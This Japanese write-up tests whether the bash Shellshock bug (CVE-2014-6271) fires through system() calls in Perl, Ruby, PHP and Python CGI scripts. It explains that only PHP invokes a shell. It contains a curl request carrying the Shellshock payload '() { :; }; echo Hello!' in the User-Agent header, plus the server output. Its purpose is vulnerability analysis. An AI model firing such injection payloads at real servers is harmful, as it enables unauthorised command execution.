bashの脆弱性(CVE-2014-6271など)によって、PerlやRubyのCGIからsystem
関数などOSコマンドを実行するプログラム言語の機能を使うと、 UserAgent などブラウザから送信されたデータが環境変数に格納された状態でbashが起動し、ShellShockが発生するという話が話題になっているが、本当にそうなのか。
実験
次の処理系で実験した。
- Perl(5.20.0)
- Ruby(2.1.3)
- PHP(5.6.0)
- Python3(3.4.1)
コード
OSコマンドのenv
を呼び出して表示するだけのCGI。
Perl
#!/usr/bin/env perl
print "Content-Type: text/html;\n\n";
print system('env');
Ruby
#!/usr/bin/env ruby
print "Content-Type: text/html;\n\n"
print system('env')
PHP
#!/usr/bin/env php
<?php
print system('env');
?>
Python3
#!/usr/bin/env python3
import subprocess
print("Content-Type: text/html;\n")
print(subprocess.check_output('env'))
リクエスト
リクエストは curl で生成。-A
は UserAgent を指定するオプション。
$ curl -A '() { :; }; echo Hello!' localhost/index_xxx.cgi
結果
全部、環境変数に UserAgent が渡されているものの、echo Hello!
が実行されたのはPHPだけだった。
$ curl -A '() { :; }; echo Hello!' localhost/index_php.cgi
Hello!
SERVER_SIGNATURE=
SERVER_PORT=80
HTTP_HOST=localhost
DOCUMENT_ROOT=/Library/WebServer/Documents
SCRIPT_FILENAME=/Library/WebServer/Documents/index_php.cgi
REQUEST_URI=/index_php.cgi
SCRIPT_NAME=/index_php.cgi
__CF_USER_TEXT_ENCODING=0x46:0:0
REMOTE_PORT=50129
PATH=************
PWD=/Library/WebServer/Documents
SERVER_ADMIN=you@example.com
HTTP_ACCEPT=*/*
REMOTE_ADDR=::1
SHLVL=1
SERVER_NAME=localhost
SERVER_SOFTWARE=Apache/2.2.26 (Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8za
QUERY_STRING=
SERVER_ADDR=::1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
HTTP_USER_AGENT=() { :
}
_=/usr/bin/env
_=/usr/bin/env%
なぜか
まずPerlとRubyはコマンドの中にシェルのメタ文字がない場合は、シェルを介さずにシステムコールを使ってコマンドを実行する。Pythonの場合はshell=True
を付けない場合はシェルを起動しない。シェルが起動しないのでShellShockの影響は受けない。
- http://perldoc.perl.org/functions/system.html
- http://docs.ruby-lang.org/ja/2.1.0/method/Kernel/m/system.html
- http://docs.python.jp/2/library/subprocess.html#subprocess.Popen
PHPは普通にそのままシェルが立ち上がるようだ。
結論
PHP以外のプログラムなら、system
のようなOSコマンドを実行する関数を利用していたとしても、必ずシェルが呼び出されているわけではないようだ。なので、system
のような関数を使っていたとしても、それが必ずShellShockの影響を受けるわけではないと思う。